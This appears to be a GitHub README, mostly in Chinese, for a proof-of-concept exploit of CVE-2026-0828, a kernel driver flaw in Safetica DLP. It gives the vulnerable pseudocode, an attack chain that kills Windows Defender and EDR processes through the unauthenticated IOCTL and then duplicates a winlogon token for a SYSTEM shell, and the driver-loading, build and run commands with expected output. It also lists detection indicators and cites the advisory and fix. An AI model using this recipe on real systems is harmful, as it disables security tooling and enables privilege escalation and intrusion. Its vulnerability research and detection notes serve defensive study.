mein-0/cve-2026-0828

GitHub: mein-0/cve-2026-0828

针对 Safetica DLP 内核驱动未经身份验证的 IOCTL 漏洞的 BYOVD 概念验证,可终止 PPL 保护进程并提权至 SYSTEM。

Stars: 0 | Forks: 0

# CVE-2026-0828 — Safetica ProcessMonitorDriver.sys BYOVD PoC Safetica DLP 内核驱动(`ProcessMonitorDriver.sys`)暴露了一个未经身份验证的 IOCTL,允许任何用户模式调用者在内核上下文中通过 `ZwTerminateProcess` 终止任意进程,从而绕过 PPL (Protected Process Light) 保护。 **CVSS:** 8.8 (High) · **类型:** BYOVD, LPE · **平台:** Windows x64 ## 漏洞 IOCTL `0xB822200C` 的 `IRP_MJ_DEVICE_CONTROL` 处理程序使用 `PROCESS_ALL_ACCESS (0x1FFFFF)` 调用 `ZwOpenProcess`,随后使用直接从输入缓冲区提供的 PID 调用 `ZwTerminateProcess` —— **没有任何权限或调用者验证。** ``` // Vulnerable handler (IDA pseudocode) ClientId.UniqueProcess = **(HANDLE **)(irp->AssociatedIrp.SystemBuffer); ZwOpenProcess(&ProcessHandle, 0x1FFFFFu, &ObjectAttributes, &ClientId); ZwTerminateProcess(ProcessHandle, 0); // no SeSinglePrivilegeCheck, no ExGetPreviousMode check ``` 由于该调用源于内核上下文,受 PPL 保护的进程(Windows Defender, EDR agents)也可以被终止。 **受影响版本:** Safetica < 11.26.19 / < 10.5.150 **已修复于:** Safetica 11.26.19, 11.29.8, 10.5.150 — 在 IOCTL 处理程序中添加了权限检查 **参考:** [KOSEC 公告](https://kosec.io/2025/11/01/safetica-byovd.html) · [CERT VU#818729](https://kb.cert.org/vuls/id/818729) ## 攻击链 ``` Admin privileges │ ├─► Load ProcessMonitorDriver.sys │ sc create STProcessMonitor type=kernel binPath=... │ ├─► PHASE 1: Kill EDR via IOCTL 0xB822200C │ DeviceIoControl(\\.\STProcessMonitorDriver, 0xB822200C, &pid, 8, ...) │ → ZwTerminateProcess(Defender/EDR, 0) [kernel ctx, PPL bypassed] │ └─► PHASE 2: Token duplication → SYSTEM shell AdjustTokenPrivileges(SeDebugPrivilege) OpenProcess(winlogon.exe) DuplicateTokenEx(TokenPrimary) CreateProcessWithTokenW(cmd.exe) → NT AUTHORITY\SYSTEM ``` ## 文件 | 文件 | 描述 | |---|---| | `exploit.c` | 完整 PoC — 终止 EDR,生成 NT AUTHORITY\SYSTEM cmd.exe | ## 构建 需要 Visual Studio (x64 Native Tools Command Prompt): ``` cl.exe /W3 /O1 /nologo exploit.c /Fe:exploit.exe ``` ## 用法 **第 1 步 — 加载驱动** (管理员 CMD): ``` sc create STProcessMonitor type= kernel binPath= "C:\path\to\ProcessMonitorDriver.sys" sc start STProcessMonitor ``` **第 2 步 — 运行 PoC:** ``` exploit.exe ``` **预期输出:** ``` [Phase 1] Killing EDR via CVE-2026-0828... MsMpEng.exe PID 3412 -> KILLED NisSrv.exe PID 4180 -> KILLED SeDebugPrivilege enabled winlogon.exe -> pid 560 [+] Got SYSTEM token handle. [+] Token duplicated. shell spawned ``` 一个新的 `cmd.exe` 窗口将以 `NT AUTHORITY\SYSTEM` 身份打开。 ## 检测 **Event ID 7045** — 新的内核服务安装: ``` Service Name: STProcessMonitor Service File Name: ...\ProcessMonitorDriver.sys Service Type: kernel mode driver ``` **WDAC 黑名单 (SHA256):** ``` 70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b ``` **ETW:** 监控对 `\\.\STProcessMonitorDriver` 的 `DeviceIoControl` 调用。 ## 测试环境 - Windows 10 22H2 x64
标签:BYOVD, EDR绕过, Linux, Web报告查看器, Windows驱动, 客户端加密, 本地提权, 高交互蜜罐